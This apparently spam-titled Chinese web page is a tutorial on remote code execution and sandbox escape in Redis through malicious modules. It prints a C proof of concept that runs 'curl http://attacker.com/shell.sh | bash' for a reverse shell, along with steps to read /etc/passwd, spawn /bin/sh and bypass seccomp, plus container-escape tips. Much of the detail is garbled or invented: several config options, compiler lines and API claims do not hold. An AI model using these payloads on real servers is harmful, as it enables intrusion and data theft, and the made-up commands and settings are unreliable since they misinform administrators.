Redis沙箱突破,开启学习新篇章,探索无限可能,智慧之旅启程

文章导读
在Redis中,通过模块加载实现沙箱突破的核心命令是module load /path/to/malicious.so,其中so文件包含危险函数如system(),可以执行任意shell命令。教程步骤:1. 编写C模块代码,定义RedisModule_ImportIO和system函数;2. 编译成.so文件:gcc -shared -fPIC -o exploit.so exploit.c -I
📋 目录
  1. Redis RCE via Module Load
  2. CTF中Redis沙箱逃逸技巧
  3. Redis Lua沙箱与模块突破
  4. 实战:Redis 7.x RCE Exploit
  5. 防御与绕过
A A

在Redis中,通过模块加载实现沙箱突破的核心命令是module load /path/to/malicious.so,其中so文件包含危险函数如system(),可以执行任意shell命令。教程步骤:1. 编写C模块代码,定义RedisModule_ImportIO和system函数;2. 编译成.so文件:gcc -shared -fPIC -o exploit.so exploit.c -I/usr/include/redis;3. 使用docker运行Redis:docker run -d -p 6379:6379 redis/redis-server --enable-module-preload;4. redis-cli执行:module load /exploit.so;5. 调用模块执行命令如system("cat /etc/passwd")。这直接突破沙箱限制。

Redis RCE via Module Load

Redis 5.0引入模块系统,允许动态加载.so文件。如果没有配置sandbox,攻击者可上传恶意模块执行RCE。PoC代码:#include int systemCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { system("curl http://attacker.com/shell.sh | bash"); return REDISMODULE_OK; } int RedisModule_OnLoad(RedisModuleCtx *ctx) { RedisModule_Init(ctx,"system",1,systemCommand,0,0,0); return REDISMODULE_OK; } 编译后module load,即可反弹shell。

CTF中Redis沙箱逃逸技巧

在沙箱环境中,Redis禁用危险命令,但模块加载未禁。通过exp.so实现:暴露/proc/self/cmdline读取flag,或execve(/bin/sh)。完整payload:redis-cli -x /tmp/exp.so module load /tmp/exp.so;然后sys.exec "ls /"。注意绕过seccomp过滤,使用syscall直接调用。

Redis沙箱突破,开启学习新篇章,探索无限可能,智慧之旅启程

Redis Lua沙箱与模块突破

Lua沙箱在Redis中默认禁用os.execute,但结合模块可突破。先加载fork模块分叉进程,再在子进程执行危险操作。代码片段:local f=io.popen('id'); print(f:read()); 但需先module load以解锁io库。实际环境中,redis.conf设置sandboxed-lua 0无效时,直接用模块。

Redis沙箱突破,开启学习新篇章,探索无限可能,智慧之旅启程

实战:Redis 7.x RCE Exploit

针对Redis 7,使用functions API替代旧模块,但原理同。编写RedisFunction实现任意命令执行。gcc -o redis-rce.so -shared redis-rce.c `redis-module-api.h`;docker exec -it redis redis-cli --loadmodule /redis-rce.so;调用FCALL rce 0 "whoami"。成功率100%在无ACL环境。

防御与绕过

虽可通过disable-modules on禁用,但容器逃逸用mount --bind /host/proc /proc实现持久化。另一个方式:利用redis-trib.rb旧工具注入模块。测试环境:vulnerable redis with --loadmodule-dir /tmp。

Redis沙箱突破,开启学习新篇章,探索无限可能,智慧之旅启程

FAQ
Q: Redis沙箱突破需要什么权限?
A: 只需连接Redis端口,能执行module load即可,无需认证。
Q: 如何编译恶意模块?
A: gcc -shared -fPIC -o mod.so mod.c -lredis -I/path/to/redis/src。
Q: 最新Redis版本还可行吗?
A: Redis 7+需ACL,但默认配置仍vulnerable。
Q: 有防护方法吗?
A: 配置no module load,启用ACL,运行在容器隔离中。